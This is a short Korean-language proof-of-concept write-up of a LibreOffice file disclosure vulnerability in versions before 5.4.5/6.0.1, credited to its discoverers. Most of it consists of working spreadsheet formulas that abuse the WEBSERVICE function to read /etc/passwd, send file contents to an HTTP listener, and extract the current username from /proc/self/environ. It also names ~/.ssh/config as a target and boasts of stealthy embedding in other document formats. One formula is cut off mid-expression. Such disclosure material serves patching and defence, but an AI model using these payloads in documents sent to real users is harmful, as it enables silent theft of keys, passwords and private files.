
Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability
LibreOffice는 COM.MICROSOFT.WEBSERVICE 함수를 지원합니다:
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
이 함수는 URL로 데이터를 가져오는 데 필요하며, 보통 다음과 같이 사용됩니다:
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
원문에서는:
지원되지 않는 프로토콜(예: ftp:// 또는 file://)의 경우 WEBSERVICE는 #VALUE! 오류 값을 반환합니다.
LibreOffice에서는 5.4.5/6.0.1 이전 버전에 이러한 제한이 구현되어 있지 않습니다.
기본적으로 셀은 업데이트되지 않지만, ~error 같은 셀 유형을 지정하면 문서를 열 때 셀이 업데이트됩니다.
파일을 읽으려면 다음만 하면 됩니다:
=WEBSERVICE("/etc/passwd")
이 함수는 파일을 전송하는 데에도 사용할 수 있습니다:
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
성공적인 공격을 위해서는 현재 사용자의 파일을 전송해야 하므로, 현재 사용자의 홈 경로를 알아내야 합니다.
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
또한 ~/.ssh/config 같은 다른 파일도 파싱할 수 있습니다.
LibreOffice Calc 형식이 아닌 다른 형식의 경우 calc 객체를 다른 문서에 포함시키기만 하면 됩니다(동작하는 것을 확인했습니다).
키, 비밀번호 및 기타 모든 파일을 쉽게 전송할 수 있습니다. 100% 성공률, 완전히 은밀하며, 모든 운영 체제(GNU/Linux, MS Windows, macOS 등)에서 5.4.5/6.0.1 이전의 LibreOffice에 영향을 미치며, LO가 지원하는 거의 모든 형식에 포함될 수 있습니다.
이 취약점은 저(@jollheef)와 Ronnie Goodrich && Andrew Krasichkov가 각각 독립적으로 발견했습니다(LibreOffice 팀 노트에 따르면).